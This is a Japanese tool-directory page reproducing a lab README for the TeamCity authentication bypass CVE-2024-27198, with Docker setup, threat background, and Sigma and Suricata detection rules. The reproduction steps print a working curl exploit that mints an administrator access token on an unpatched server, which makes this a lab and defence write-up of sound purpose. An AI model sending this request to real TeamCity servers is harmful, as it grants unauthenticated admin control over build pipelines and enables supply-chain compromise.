Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-27198_Lab — CVE-2024-27198 用のラボ | Kitploit
ツール/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト脅威インテリジェンス侵入検知学習と教育インシデントレスポンスログ分析ラボと実践
GitHub
53ヶ月前未レビュー
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

CVE-2024-27198 用のラボ

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-27198 ラボ

Description

TeamCity には、認証で保護されていないトークン管理用の管理者専用ページがあります。これにより、認証されていないユーザーは、既存ユーザーの ID を見つけることができれば、管理者ユーザーのアクセストークンを生成できます。


CVE 詳細

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Base Score: 9.8 CRITICAL
  • Vector:
    • CVSS:3.1
    • AV:N Network
    • AC:L Low
    • PR:N None
    • UI:N None
    • S:U Unchanged
    • C:H High
    • I:H High
    • A:H High

脅威インテリジェンス & OSINT

現実世界での影響と悪用

  • CISA KEV カタログ: 2024年3月7日に追加され、実際の悪用が確認されています。
  • 脅威アクター: 複数のランサムウェアグループやAPTによって悪用されており、特にBianLian ランサムウェアグループとJasmin ランサムウェア亜種が挙げられます。攻撃者はこのバイパスを使用して、不正な管理者アカウントを作成し、悪意のあるプラグインを展開し、任意のコードを実行(RCE)して被害者ネットワーク内を横断的に移動しました。
  • 標的プロファイル: CI/CD パイプラインは価値の高い標的です(サプライチェーン攻撃)。TeamCity を侵害することで、攻撃者はソフトウェアビルドに悪意のあるコードを注入し、ソースコードを窃取し、デプロイメントシークレット(AWS キー、証明書)を抽出できます。

この CVE が重大である理由

この脆弱性は REST API ルーティングメカニズムに存在します。認証されていないエンドポイントに特定の文字(?jsp=/app/rest/...;.jsp など)を追加することで、攻撃者は TeamCity Web サーバーを欺いて、セキュリティフィルターを回避しながらリクエストを認証済みエンドポイントにルーティングさせることができます。これには事前の知識やアクセスが一切不要であり、純粋な CVSS 9.8 です。


再現手順

コンテナを起動する

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

脆弱な TeamCity インスタンスには http://localhost:8111 からアクセスします。 パッチ適用済みの TeamCity インスタンスには http://localhost:8112 からアクセスします。


ログインポータル

ユーザー名:

root@kitploit:~
admin

パスワード:

root@kitploit:~
admin

脆弱性をテストする

認証なしでリソースへの GET リクエスト:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

どちらも 401 ステータスコードのエラーを返すはずです。


管理者ユーザーのトークンを生成する

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

次のようなトークンが返されるはずです(トークンは毎回異なります):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

パッチ適用済みインスタンスにはこの脆弱性がないため、401 ステータスコードのエラーが返されるはずです。


トークンを検証する

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

ユーザーリストが返されるはずです。


トークンを削除する

  1. 管理者アカウントで http://localhost:8111 にアクセスします。
  2. 右上のプロフィールアイコンをクリックします。
  3. プロフィール -> アクセストークン に移動します。
  4. "REDTEAM" トークンが表示されます。
  5. トークンの横にある「削除」をクリックするだけです。

Blue Team: ログ内の IoC を探す(ステルス性の要因)

ラボでのデモ中に、非常に重要な Blue Team の発見事項 を示すことができます。この脆弱性はデフォルトでは非常にステルスです!

  1. TeamCity Docker イメージでは Tomcat アクセスログがデフォルトで無効になっているため、;.jsp HTTP リクエストは記録されません。
  2. TeamCity 監査ログには、REST API によるトークン作成は記録されません。

では、どのようにして検知するのでしょうか?攻撃者が痕跡を消すときです! 攻撃者が隠れるために不正なトークンを削除すると、TeamCity はそれを記録します。

監査ログで痕跡を消そうとする攻撃者を見つける:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

("REDTEAM" トークンが削除されたことを示すログエントリが表示されます)。


コンテナを停止する

root@kitploit:~
docker compose -f docker-compose.yml down

緩和策と検知

技術的分析(CWE-288)

この脆弱性は、CWE-288: 代替パスまたはチャネルを使用した認証バイパス の事例です。 この欠陥は、Tomcat Web サーバーと TeamCity アプリケーションルーターの間のパス混乱の問題に起因します。;.jsp を追加し、jsp= パラメータに対象の REST API エンドポイントを渡すことで、最初のセキュリティフィルターはリクエストを公開の .jsp ファイルへの認証不要のリクエスト(許可される)として解釈します。しかし、内部ルーターは ;.jsp を除去し、認証フィルターを適用せずに制限された /app/rest/ エンドポイントへリクエストを転送します。

正当な使用例(なぜ ; が許可されているのか?): Tomcat はマトリクスパラメータのためにセミコロン文字(;)を使用します。歴史的に、このメカニズムはパス内で直接パラメータを渡すために使用されており、例えばクッキーが無効な場合にユーザーセッション状態を維持するために JSESSIONID を追加します。この正常で正当な Web サーバーの動作と、TeamCity アプリケーションルーターによる不適切な検証が組み合わさって、この脆弱性が生じます。

侵害の指標(IoCs)

進行中または過去の侵害を検知するために、Blue Team は以下を探す必要があります:

  1. Web ログ: /app/rest/ エンドポイントを標的とするが、URI に異常な ;.jsp 文字列を含む HTTP リクエスト。
  2. 監査ログ(teamcity-server.log): 説明のつかないアクセストークンの生成や、新しい管理者アカウントの作成。
  3. システムレベル: 認識されない、または不審なプラグインのインストール(攻撃者が権限を昇格させ、リモートコード実行を達成するためによく使用されます)。

ログ検知(Sigma ルール)

初期のエクスプロイトはデフォルトでステルスであるため、Blue Team は攻撃者の侵害後アクション(痕跡を消すことなど)の検知に依存する必要があります。不審なトークン削除を検知するための SIEM 用 Sigma ルールを以下に示します:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM ライブデモ(Blue Team)

この検知が機能することを証明するには、siem_simulator.py スクリプトを実行します。

  1. エクスプロイト用のターミナルに加えて、2つ目のターミナルを開きます。
  2. 脆弱なコンテナが実行されていることを確認します(docker compose up -d)。
  3. シミュレーターを実行します:
root@kitploit:~
python3 siem_simulator.py
  1. 1つ目のターミナルでエクスプロイトを実行し、トークンを検証して、Web インターフェースを介してトークンを削除します。
  2. 2つ目のターミナルで赤い重大アラートが点灯し、Sigma ルールが痕跡を消そうとする攻撃者を捕捉するのを確認します!

修復

  • 公式パッチ: TeamCity をバージョン 2023.11.4 以降にアップグレードします。このバージョンでは、バックエンドでルートマッチングが適切にサニタイズおよび適用されます。
  • 回避策: パッチ適用が不可能な場合、JetBrains は脆弱なインスタンスにインストールできるセキュリティパッチプラグインをリリースしました。

ネットワーク検知(Suricata / Snort ルール)

ネットワーク上でこの悪用試行を検知するために、SOC は次の IDS ルールを実装できます。このルールは、REST API パスと組み合わせた異常な ;.jsp パターンを探します:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

パッチ適用済みバージョンをテストする(ラボデモンストレーション)

緩和策が機能することを証明するには、ポート 8112 で実行されているパッチ適用済みの TeamCity コンテナに対して、まったく同じエクスプロイトペイロードを実行します:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

パッチはルートマッチングを厳格に適用し、マトリクスパラメータを適切にサニタイズするため、バイパスは失敗します。生成されたトークンの代わりに、401 Unauthorized または 404 Not Found 応答が表示されるはずです。


リンク

  • CVE-2024-27198
ツールをダウンロード